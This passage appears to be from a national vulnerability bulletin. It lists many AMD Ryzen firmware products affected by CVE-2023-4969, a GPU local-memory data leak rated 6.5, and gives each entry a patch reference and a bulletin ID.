			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_3_7335u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2269
Product: ryzen_3_7440u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2270
Product: ryzen_3_pro_3200ge_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2271

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_3_pro_3200g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2272
Product: ryzen_5_3400g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2273

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_4500u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2274
Product: ryzen_5_4600ge_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2275
Product: ryzen_5_4600g_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2276

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_5_4600hs_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2277
Product: ryzen_5_4600h_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2278

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_4600u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2279
Product: ryzen_5_4680u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2280
Product: ryzen_5_5500gt_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2281

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_5_5500u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2282
Product: ryzen_5_5600ge_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2283

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_5600gt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2284
Product: ryzen_5_5600g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2285
Product: ryzen_5_6600hs_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2286

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_5_6600h_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2287
Product: ryzen_5_6600u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2288

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_7500f_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2289
Product: ryzen_5_7520u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2290
Product: ryzen_5_7535hs_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2291

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_5_7535u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2292
Product: ryzen_5_7600x_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2293

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_7600_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2294
Product: ryzen_5_7640h_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2295
Product: ryzen_5_7645hx_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2296

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_5_pro_3350ge_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2297
Product: ryzen_5_pro_3350g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2298

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_pro_3400ge_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2299
Product: ryzen_5_pro_3400g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2300
Product: ryzen_5_pro_7540u_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2301

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_5_pro_7545u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2302
Product: ryzen_5_pro_7640hs_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2303

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_pro_7640u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2304
Product: ryzen_5_pro_7645_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2305
Product: ryzen_7_4700ge_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2306

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_7_4700g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2307
Product: ryzen_7_4700u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2308

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_4800hs_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2309
Product: ryzen_7_4800h_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2310
Product: ryzen_7_4800u_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2311

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_7_4980u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2312
Product: ryzen_7_5700ge_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2313

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_5700g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2314
Product: ryzen_7_5700u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2315
Product: ryzen_7_6800hs_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2316

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_7_6800h_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2317
Product: ryzen_7_6800u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2318

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_7700x_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2319
Product: ryzen_7_7700_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2320
Product: ryzen_7_7735hs_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2321

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_7_7735u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2322
Product: ryzen_7_7736u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2323

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_7745hx_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2324
Product: ryzen_7_7800x3d_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2325
Product: ryzen_7_7840h_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2326

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_7_pro_7745_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2327
Product: ryzen_7_pro_7840hs_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2328

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_pro_7840u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2329
Product: ryzen_9_4900hs_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2330
Product: ryzen_9_4900h_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2331

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_9_6900hs_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2332
Product: ryzen_9_6900hx_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2333

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_9_6980hs_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2334
Product: ryzen_9_6980hx_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2335
Product: ryzen_9_7845hx_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2336

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_9_7900x3d_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2337
Product: ryzen_9_7900x_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2338

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_9_7900_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2339
Product: ryzen_9_7940h_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2340
Product: ryzen_9_7945hx3d_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2341

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_9_7945hx_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2342
